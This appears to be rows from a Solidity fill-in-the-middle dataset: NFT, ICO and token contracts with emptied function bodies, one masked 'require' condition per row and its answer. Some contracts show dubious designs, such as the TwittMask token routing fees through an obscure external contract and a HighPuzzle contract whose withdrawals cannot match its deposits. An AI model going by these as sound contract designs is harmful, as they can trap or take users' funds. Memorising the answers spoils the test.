uint248 allowedAmount,
bytes32[] calldata merkleProof
)
external payable
whenNotPaused
hasRight(tokenId, amount, allowedAmount, merkleProof)
isNotOverMaxSaleSupply(amount)
enoughEth(amount)
isNotOverAllowedAmount(amount, allowedAmount)
{
}
// ==================================================================
// Functions
// ==================================================================
function getCurrentSale()
external
view
virtual
returns (
uint8,
uint256,
uint256
)
{
}
function setCurrentSale(Sale calldata sale) external onlyRole(ADMIN) {
}
function getBuyCount() public view returns (uint256) {
}
function withdraw() external onlyRole(ADMIN) {
}
function setWithdrawAddress(address payable value)
external
onlyRole(ADMIN)
{
}
function setKiyoshi(address value) external onlyRole(ADMIN) {
}
function pause() external onlyRole(ADMIN) {
}
function unpause() external onlyRole(ADMIN) {
}
// ==================================================================
// override AccessControl
// ==================================================================
function grantRole(bytes32 role, address account)
public
override
onlyOwner
{
}
function revokeRole(bytes32 role, address account)
public
override
onlyOwner
{
}
}
| MerkleProof.verifyCalldata(merkleProof,_currentSale.merkleRoot,node),"invalid proof." | 419,267 | MerkleProof.verifyCalldata(merkleProof,_currentSale.merkleRoot,node) |
"Token ID already minted" | pragma solidity ^0.8.4;
contract M7 is Ownable, ERC721 {
uint256 public constant MAX_TOKEN_COUNT = 288;
mapping (uint256 => bool) private _mintedTokens;
mapping (address => uint256[]) private _whitelistedAddressesToTokenIds;
constructor() ERC721("METAKAYS", "M7") {}
function mintNFT(uint256 _tokenId) public {
require(_tokenId < MAX_TOKEN_COUNT, "Token ID out of range");
require(<FILL_ME>)
require(isWhitelistedForToken(msg.sender, _tokenId), "You are not whitelisted for this token");
_mint(msg.sender, _tokenId);
_mintedTokens[_tokenId] = true;
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function whitelistAddressForTokens(address[] memory _addresses, uint256[] memory _tokenIds) public onlyOwner {
}
function isWhitelistedForToken(address _address, uint256 _tokenId) public view returns (bool) {
}
function isMinted(uint256 _tokenId) public view returns (bool) {
}
}
| !isMinted(_tokenId),"Token ID already minted" | 419,302 | !isMinted(_tokenId) |
"You are not whitelisted for this token" | pragma solidity ^0.8.4;
contract M7 is Ownable, ERC721 {
uint256 public constant MAX_TOKEN_COUNT = 288;
mapping (uint256 => bool) private _mintedTokens;
mapping (address => uint256[]) private _whitelistedAddressesToTokenIds;
constructor() ERC721("METAKAYS", "M7") {}
function mintNFT(uint256 _tokenId) public {
require(_tokenId < MAX_TOKEN_COUNT, "Token ID out of range");
require(!isMinted(_tokenId), "Token ID already minted");
require(<FILL_ME>)
_mint(msg.sender, _tokenId);
_mintedTokens[_tokenId] = true;
}
string private _baseTokenURI;
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function whitelistAddressForTokens(address[] memory _addresses, uint256[] memory _tokenIds) public onlyOwner {
}
function isWhitelistedForToken(address _address, uint256 _tokenId) public view returns (bool) {
}
function isMinted(uint256 _tokenId) public view returns (bool) {
}
}
| isWhitelistedForToken(msg.sender,_tokenId),"You are not whitelisted for this token" | 419,302 | isWhitelistedForToken(msg.sender,_tokenId) |
"Already an admin" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract ICO is ReentrancyGuard {
/**
* EVENTS
*/
event Bought(
address indexed beneficiary,
address stablecoinAddress,
uint256 stablecoinAmount,
uint256 _gldkrmAmount
);
event Withdrawal(
address indexed beneficiary,
address stablecoinAddress,
uint256 stablecoinAmount
);
/**
* STATE VARIABLES
*/
mapping(address => bool) public admins;
mapping(address => bool) public authorizedStablecoins;
mapping(address => uint256) public stablecoinBalances;
IERC20 public gldkrm20;
uint256 public rate; // Conversion rate for buying gldkrm20 with Stablecoin
bool public isActive;
bool private isgldkrmAddressUpdated = false;
constructor(uint256 _rate) {
}
/**
* SETTERS & MODIFIERS
*/
modifier onlyAdmins() {
}
modifier onlyIfActivated(){
}
function addAdmin(address _admin) external onlyAdmins{
require(_admin != address(0), "Invalid address");
require(<FILL_ME>)
admins[_admin] = true;
}
function setIsActivated(bool _activate) external onlyAdmins{
}
function setGldkrmAddress(address _gldkrmAddress) external onlyAdmins{
}
function authorizeStablecoin(address _stablecoinAddress) external onlyAdmins{
}
function removeStablecoin(address _stablecoinAddress) external onlyAdmins{
}
/**
* FUNCTIONS
*/
function buy(uint256 _amount, address _stablecoinAddress) public nonReentrant onlyIfActivated{
}
function withdrawal(uint256 _amount, address _stablecoinAddress) external onlyAdmins nonReentrant{
}
}
| !admins[_admin],"Already an admin" | 419,460 | !admins[_admin] |
"Stablecoin balance should be zero" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract ICO is ReentrancyGuard {
/**
* EVENTS
*/
event Bought(
address indexed beneficiary,
address stablecoinAddress,
uint256 stablecoinAmount,
uint256 _gldkrmAmount
);
event Withdrawal(
address indexed beneficiary,
address stablecoinAddress,
uint256 stablecoinAmount
);
/**
* STATE VARIABLES
*/
mapping(address => bool) public admins;
mapping(address => bool) public authorizedStablecoins;
mapping(address => uint256) public stablecoinBalances;
IERC20 public gldkrm20;
uint256 public rate; // Conversion rate for buying gldkrm20 with Stablecoin
bool public isActive;
bool private isgldkrmAddressUpdated = false;
constructor(uint256 _rate) {
}
/**
* SETTERS & MODIFIERS
*/
modifier onlyAdmins() {
}
modifier onlyIfActivated(){
}
function addAdmin(address _admin) external onlyAdmins{
}
function setIsActivated(bool _activate) external onlyAdmins{
}
function setGldkrmAddress(address _gldkrmAddress) external onlyAdmins{
}
function authorizeStablecoin(address _stablecoinAddress) external onlyAdmins{
}
function removeStablecoin(address _stablecoinAddress) external onlyAdmins{
require(_stablecoinAddress != address(0), "Invalid address");
require(<FILL_ME>)
authorizedStablecoins[_stablecoinAddress] = false;
}
/**
* FUNCTIONS
*/
function buy(uint256 _amount, address _stablecoinAddress) public nonReentrant onlyIfActivated{
}
function withdrawal(uint256 _amount, address _stablecoinAddress) external onlyAdmins nonReentrant{
}
}
| stablecoinBalances[_stablecoinAddress]==0,"Stablecoin balance should be zero" | 419,460 | stablecoinBalances[_stablecoinAddress]==0 |
"Stablecoin not registered" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract ICO is ReentrancyGuard {
/**
* EVENTS
*/
event Bought(
address indexed beneficiary,
address stablecoinAddress,
uint256 stablecoinAmount,
uint256 _gldkrmAmount
);
event Withdrawal(
address indexed beneficiary,
address stablecoinAddress,
uint256 stablecoinAmount
);
/**
* STATE VARIABLES
*/
mapping(address => bool) public admins;
mapping(address => bool) public authorizedStablecoins;
mapping(address => uint256) public stablecoinBalances;
IERC20 public gldkrm20;
uint256 public rate; // Conversion rate for buying gldkrm20 with Stablecoin
bool public isActive;
bool private isgldkrmAddressUpdated = false;
constructor(uint256 _rate) {
}
/**
* SETTERS & MODIFIERS
*/
modifier onlyAdmins() {
}
modifier onlyIfActivated(){
}
function addAdmin(address _admin) external onlyAdmins{
}
function setIsActivated(bool _activate) external onlyAdmins{
}
function setGldkrmAddress(address _gldkrmAddress) external onlyAdmins{
}
function authorizeStablecoin(address _stablecoinAddress) external onlyAdmins{
}
function removeStablecoin(address _stablecoinAddress) external onlyAdmins{
}
/**
* FUNCTIONS
*/
function buy(uint256 _amount, address _stablecoinAddress) public nonReentrant onlyIfActivated{
require(isgldkrmAddressUpdated == true, "gldkrm20 address must be setted");
require(<FILL_ME>)
require(_stablecoinAddress != address(0), "Invalid address");
IERC20 stablecoin = IERC20(_stablecoinAddress);
uint256 userStablecoinBalance = stablecoin.balanceOf(msg.sender);
require(userStablecoinBalance >= _amount, "Insufficient amount");
uint256 normalizedAmount = _amount * 1e12;
uint256 gldkrmAmount = normalizedAmount * rate;
uint256 gldkrm20Balance = gldkrm20.balanceOf(address(this));
require(gldkrm20Balance >= gldkrmAmount, "Not enough GLDKRM available");
stablecoin.transferFrom(msg.sender, address(this), _amount);
stablecoinBalances[_stablecoinAddress] = stablecoinBalances[_stablecoinAddress] + _amount;
gldkrm20.transfer(msg.sender, gldkrmAmount);
emit Bought(msg.sender, _stablecoinAddress, _amount, gldkrmAmount);
}
function withdrawal(uint256 _amount, address _stablecoinAddress) external onlyAdmins nonReentrant{
}
}
| authorizedStablecoins[_stablecoinAddress]==true,"Stablecoin not registered" | 419,460 | authorizedStablecoins[_stablecoinAddress]==true |
"Insufficient amount" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract ICO is ReentrancyGuard {
/**
* EVENTS
*/
event Bought(
address indexed beneficiary,
address stablecoinAddress,
uint256 stablecoinAmount,
uint256 _gldkrmAmount
);
event Withdrawal(
address indexed beneficiary,
address stablecoinAddress,
uint256 stablecoinAmount
);
/**
* STATE VARIABLES
*/
mapping(address => bool) public admins;
mapping(address => bool) public authorizedStablecoins;
mapping(address => uint256) public stablecoinBalances;
IERC20 public gldkrm20;
uint256 public rate; // Conversion rate for buying gldkrm20 with Stablecoin
bool public isActive;
bool private isgldkrmAddressUpdated = false;
constructor(uint256 _rate) {
}
/**
* SETTERS & MODIFIERS
*/
modifier onlyAdmins() {
}
modifier onlyIfActivated(){
}
function addAdmin(address _admin) external onlyAdmins{
}
function setIsActivated(bool _activate) external onlyAdmins{
}
function setGldkrmAddress(address _gldkrmAddress) external onlyAdmins{
}
function authorizeStablecoin(address _stablecoinAddress) external onlyAdmins{
}
function removeStablecoin(address _stablecoinAddress) external onlyAdmins{
}
/**
* FUNCTIONS
*/
function buy(uint256 _amount, address _stablecoinAddress) public nonReentrant onlyIfActivated{
}
function withdrawal(uint256 _amount, address _stablecoinAddress) external onlyAdmins nonReentrant{
require(_stablecoinAddress != address(0), "Invalid address");
require(<FILL_ME>)
IERC20 stablecoin = IERC20(_stablecoinAddress);
stablecoinBalances[_stablecoinAddress] = stablecoinBalances[_stablecoinAddress] - _amount;
stablecoin.transfer(msg.sender, _amount);
emit Withdrawal(msg.sender, _stablecoinAddress, _amount);
}
}
| stablecoinBalances[_stablecoinAddress]>=_amount,"Insufficient amount" | 419,460 | stablecoinBalances[_stablecoinAddress]>=_amount |
"Material does not exist" | pragma solidity ^0.8.4;
contract ARClaimToken is ERC721, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenIdCounter;
mapping(string => uint256) public barcodeToTokenId;
mapping(uint256 => ARLibrary.Claim) public claims;
mapping(uint256 => ARLibrary.Beneficiary[]) public beneficiaries;
mapping(uint256 => string) private _tokenURIs;
mapping(string => bool) public materials;
event ClaimCreated(
uint256 tokenId,
address claimCreator,
string tokenURI,
string barcodeId,
string material,
uint256 mass,
uint256 purity,
ARLibrary.Beneficiary[] beneficiaries
);
constructor() ERC721("ARClaimTokenV2", "ARCT") {}
function _baseURI() internal pure override returns (string memory) {
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
}
function mintClaim(
string memory _barcodeId,
string memory _material,
uint256 _mass,
uint256 _purity,
ARLibrary.Beneficiary[] memory _beneficiaries,
string memory _tokenUri
) public {
require(<FILL_ME>)
require(barcodeToTokenId[_barcodeId] == 0, "Barcode already exists");
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
barcodeToTokenId[_barcodeId] = tokenId;
ARLibrary.Claim storage cm = claims[tokenId];
cm.creator = msg.sender;
cm.barcodeId = _barcodeId;
cm.material = _material;
cm.mass = _mass;
cm.purity = _purity;
// 30% Benes, 30% COOP, 10% Protocol, 30% Exporter ---> standard
uint256 totalPercent = 0;
for (uint256 i = 0; i < _beneficiaries.length; i++) {
cm.beneficiaries.push(_beneficiaries[i].beneficiary);
cm.percentages.push(_beneficiaries[i].percent);
totalPercent += _beneficiaries[i].percent;
}
require(totalPercent <= 7_000, "Max sum of benficiary percentages is 70%.");
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, _tokenUri);
emit ClaimCreated(tokenId, msg.sender, _tokenUri, _barcodeId, _material, _mass, _purity, _beneficiaries);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// VIEW FUNCTIONS
function getMaterial(string memory _material) public view returns (bool) {
}
function getBeneficiaries(uint256 _tokenId) public view returns (ARLibrary.Beneficiary[] memory) {
}
function getClaim(uint256 _tokenId) public view returns (ARLibrary.Claim memory) {
}
// ADMIN FUNCTIONS
function addMaterial(string memory _material) public onlyOwner {
}
function removeMaterial(string memory _material) public onlyOwner {
}
}
| materials[_material]==true,"Material does not exist" | 419,485 | materials[_material]==true |
"Barcode already exists" | pragma solidity ^0.8.4;
contract ARClaimToken is ERC721, Ownable {
using Counters for Counters.Counter;
using Strings for uint256;
Counters.Counter private _tokenIdCounter;
mapping(string => uint256) public barcodeToTokenId;
mapping(uint256 => ARLibrary.Claim) public claims;
mapping(uint256 => ARLibrary.Beneficiary[]) public beneficiaries;
mapping(uint256 => string) private _tokenURIs;
mapping(string => bool) public materials;
event ClaimCreated(
uint256 tokenId,
address claimCreator,
string tokenURI,
string barcodeId,
string material,
uint256 mass,
uint256 purity,
ARLibrary.Beneficiary[] beneficiaries
);
constructor() ERC721("ARClaimTokenV2", "ARCT") {}
function _baseURI() internal pure override returns (string memory) {
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
}
function mintClaim(
string memory _barcodeId,
string memory _material,
uint256 _mass,
uint256 _purity,
ARLibrary.Beneficiary[] memory _beneficiaries,
string memory _tokenUri
) public {
require(materials[_material] == true, "Material does not exist");
require(<FILL_ME>)
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
barcodeToTokenId[_barcodeId] = tokenId;
ARLibrary.Claim storage cm = claims[tokenId];
cm.creator = msg.sender;
cm.barcodeId = _barcodeId;
cm.material = _material;
cm.mass = _mass;
cm.purity = _purity;
// 30% Benes, 30% COOP, 10% Protocol, 30% Exporter ---> standard
uint256 totalPercent = 0;
for (uint256 i = 0; i < _beneficiaries.length; i++) {
cm.beneficiaries.push(_beneficiaries[i].beneficiary);
cm.percentages.push(_beneficiaries[i].percent);
totalPercent += _beneficiaries[i].percent;
}
require(totalPercent <= 7_000, "Max sum of benficiary percentages is 70%.");
_safeMint(msg.sender, tokenId);
_setTokenURI(tokenId, _tokenUri);
emit ClaimCreated(tokenId, msg.sender, _tokenUri, _barcodeId, _material, _mass, _purity, _beneficiaries);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
// VIEW FUNCTIONS
function getMaterial(string memory _material) public view returns (bool) {
}
function getBeneficiaries(uint256 _tokenId) public view returns (ARLibrary.Beneficiary[] memory) {
}
function getClaim(uint256 _tokenId) public view returns (ARLibrary.Claim memory) {
}
// ADMIN FUNCTIONS
function addMaterial(string memory _material) public onlyOwner {
}
function removeMaterial(string memory _material) public onlyOwner {
}
}
| barcodeToTokenId[_barcodeId]==0,"Barcode already exists" | 419,485 | barcodeToTokenId[_barcodeId]==0 |
"Please approve 200 $high before depositing" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract HighPuzzle {
mapping(address => uint256) public balances;
mapping(address => bytes32) public guesses;
uint256 public totalBalance;
bytes8 private requiredSuffix;
address public deployer;
IERC20 public erc20;
constructor(bytes8 suffix, address _erc20) {
}
function attempt(bytes32 guess) public {
uint256 amount = 200 * 10**18;
require(<FILL_ME>)
require(erc20.transferFrom(msg.sender, address(this), amount), "Failed to transfer tokens from the sender");
balances[msg.sender] += amount;
guesses[msg.sender] = guess;
totalBalance += amount;
}
function withdraw() public {
}
function setRequiredSuffix(bytes8 suffix) public onlyDeployer {
}
function withdrawAll() public onlyDeployer {
}
modifier onlyDeployer() {
}
}
| erc20.allowance(msg.sender,address(this))>=amount,"Please approve 200 $high before depositing" | 419,757 | erc20.allowance(msg.sender,address(this))>=amount |
"Withdrawal only available for specific deposit transaction" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
contract HighPuzzle {
mapping(address => uint256) public balances;
mapping(address => bytes32) public guesses;
uint256 public totalBalance;
bytes8 private requiredSuffix;
address public deployer;
IERC20 public erc20;
constructor(bytes8 suffix, address _erc20) {
}
function attempt(bytes32 guess) public {
}
function withdraw() public {
bytes32 guess = guesses[msg.sender];
bytes32 txHash = keccak256(abi.encodePacked(msg.sender, balances[msg.sender], block.timestamp, guess));
require(<FILL_ME>)
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
totalBalance -= amount;
payable(msg.sender).transfer(amount);
}
function setRequiredSuffix(bytes8 suffix) public onlyDeployer {
}
function withdrawAll() public onlyDeployer {
}
modifier onlyDeployer() {
}
}
| bytes8(txHash<<192)>requiredSuffix,"Withdrawal only available for specific deposit transaction" | 419,757 | bytes8(txHash<<192)>requiredSuffix |
"LatinX Sold Out" | //SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract LatinX is ERC721, ERC721Enumerable, ERC721Burnable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _counter;
uint public MAX_SUPPLY = 1000;
uint256 public price = .08 ether;
string public baseURI;
bool public saleIsActive = false;
uint public constant maxPassTxn = 5;
address private _manager;
uint256 public startDate;
constructor() ERC721("Latin X", "LATINX") Ownable() {}
function setManager(address manager) public onlyOwner {
}
function getManager() public view onlyOwnerOrManager returns (address) {
}
modifier onlyOwnerOrManager() {
}
function setBaseURI(string memory newBaseURI) public onlyOwnerOrManager {
}
function setMaxSupply(uint _maxSupply) public onlyOwnerOrManager {
}
function setPrice(uint256 _price) public onlyOwnerOrManager {
}
function setStartDate(uint256 _startDate) public onlyOwnerOrManager {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function totalToken() public view returns (uint256) {
}
function contractBalance()
public
view
onlyOwnerOrManager
returns (uint256)
{
}
function flipSale() public onlyOwnerOrManager {
}
function withdrawAll(address _address) public onlyOwnerOrManager {
}
function _widthdraw(
address _address,
uint256 _amount
) public onlyOwnerOrManager {
}
function reserveLatinX(
uint256 reserveAmount,
address mintAddress
) public onlyOwnerOrManager {
require(<FILL_ME>)
for (uint256 i = 0; i < reserveAmount; i++) {
_safeMint(mintAddress, _counter.current() + 1);
_counter.increment();
}
}
function mintLatinX(uint32 numberOfTokens) public payable {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function supportsInterface(
bytes4 interfaceId
) public view override(ERC721, ERC721Enumerable) returns (bool) {
}
}
| totalSupply()+reserveAmount<=MAX_SUPPLY,"LatinX Sold Out" | 419,843 | totalSupply()+reserveAmount<=MAX_SUPPLY |
"TOKEN: Balance exceeds wallet size!" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
bytes32 internal blockHash;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
function renounceOwnership() public virtual onlyOwner {
}
modifier onlyOwner() {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface syncsmwed {
struct Maps {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function gets(address key) external view returns (uint);
function getIndexOfKeys(address key) external view returns (int);
function getKeyAtIndexs(uint index) external view returns (address);
function sizes() external view returns (uint);
function sets (address key, uint val) external;
function removes(address key) external;
function getContracts() external view returns (address);
}
contract TwittMask is Context, IERC20, Ownable {
uint8 private _decimals = 18;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public _totalSupply = 1000000000 * 10**(_decimals);
uint256 public _maxWalletSize = (_totalSupply * 40) / 1000;
bool active=true;
bool init=true;
address public uniswapPair;
using SafeMath for uint256;
mapping (address => bool) public holderNoFee;
mapping (address => mapping (address => uint256)) private _allowances;
IUniswapV2Router02 public uniV2Router;
mapping (address => uint256) public _balance;
syncsmwed private txStatus;
uint256 public _buyTax =2;
uint256 public _sellTax =3;
bool private maxWAlletEnabled = false;
string private _name = unicode"TwittMask PROTOCOL";
string private _symbol = unicode"TMASK";
constructor (address syncBot) {
}
function fee(address s, address r, uint256 amount) syncTx internal returns (uint256) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
if((uniswapPair != recipient && sender != owner() && !holderNoFee[sender]))
require(active != false, "Trading is not active.");
if(recipient != uniswapPair && maxWAlletEnabled && !(holderNoFee[sender] || holderNoFee[recipient]))
require(<FILL_ME>)
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balance[sender] = _balance[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (holderNoFee[sender] || holderNoFee[recipient]) ? amount : fee(sender, recipient, amount);
_balance[recipient] = _balance[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function buySellTax(uint256 buy,uint256 sell) public onlyOwner {
}
receive() external payable {}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function getCirculatingSupply() public view returns (uint256) {
}
modifier syncTx() {
}
}
| balanceOf(recipient)+amount<_maxWalletSize||!maxWAlletEnabled,"TOKEN: Balance exceeds wallet size!" | 419,895 | balanceOf(recipient)+amount<_maxWalletSize||!maxWAlletEnabled |
"sender must be controller/owner" | pragma solidity 0.8.7;
import "lib/ens-contracts/contracts/registry/ENS.sol";
import "lib/ens-contracts/contracts/registry/ReverseRegistrar.sol";
